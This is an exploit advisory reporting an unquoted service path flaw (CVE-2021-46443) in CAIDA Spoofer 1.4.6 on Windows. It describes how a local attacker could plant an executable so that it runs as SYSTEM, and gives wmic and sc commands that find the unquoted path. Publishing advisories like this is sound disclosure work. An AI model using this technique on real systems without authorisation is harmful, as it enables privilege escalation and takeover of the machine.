Spoofer 1.4.6 Privilege Escalation / Unquoted Service Path

`# Exploit Title: Spoofer 1.4.6 – Local Privilege Escalation via Unquoted Service Path   
# Date: 24/01/2022   
# Exploit Author: Asim Sattar (@M_Asim_1)   
# Vendor Homepage: https://www.caida.org/projects/spoofer/   
# Software Link: https://www.caida.org/projects/spoofer/downloads/Spoofer-1.4.6-win32.exe  
# Version: 1.4.6   
# Tested: Windows 10 (x64)   
# CVE: CVE-2021-46443  
  
  
  
Description:  
  
-------------  
  
  
  
Caida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted  
service path. Since this service is running as SYSTEM, this creates a local  
privilege escalation vulnerability. To properly exploit this vulnerability,  
a local attacker can insert an executable in the path of the service.  
Rebooting the system or restarting the service will run the malicious  
executable with elevated privileges.  
  
  
  
------------------  
  
Proof of Concept:  
  
------------------  
  
  
  
C:\Users\asim.sattar>wmic service get name,pathname,displayname,startmode |  
findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """  
  
Spoofer Scheduler spoofer-scheduler C:\Program Files  
(x86)\Spoofer\spoofer-scheduler.exe Auto  
  
  
  
C:\Users\asim.sattar>sc qc "spoofer-scheduler"  
  
[SC] QueryServiceConfig SUCCESS  
  
  
  
SERVICE_NAME: spoofer-scheduler  
  
TYPE : 10 WIN32_OWN_PROCESS  
  
START_TYPE : 2 AUTO_START  
  
ERROR_CONTROL : 1 NORMAL  
  
BINARY_PATH_NAME : C:\Program Files  
(x86)\Spoofer\spoofer-scheduler.exe  
  
LOAD_ORDER_GROUP :  
  
TAG : 0  
  
DISPLAY_NAME : Spoofer Scheduler  
  
DEPENDENCIES : tcpip  
  
SERVICE_START_NAME : LocalSystem  
  
  
  
Regards,  
  
Asim Sattar  
`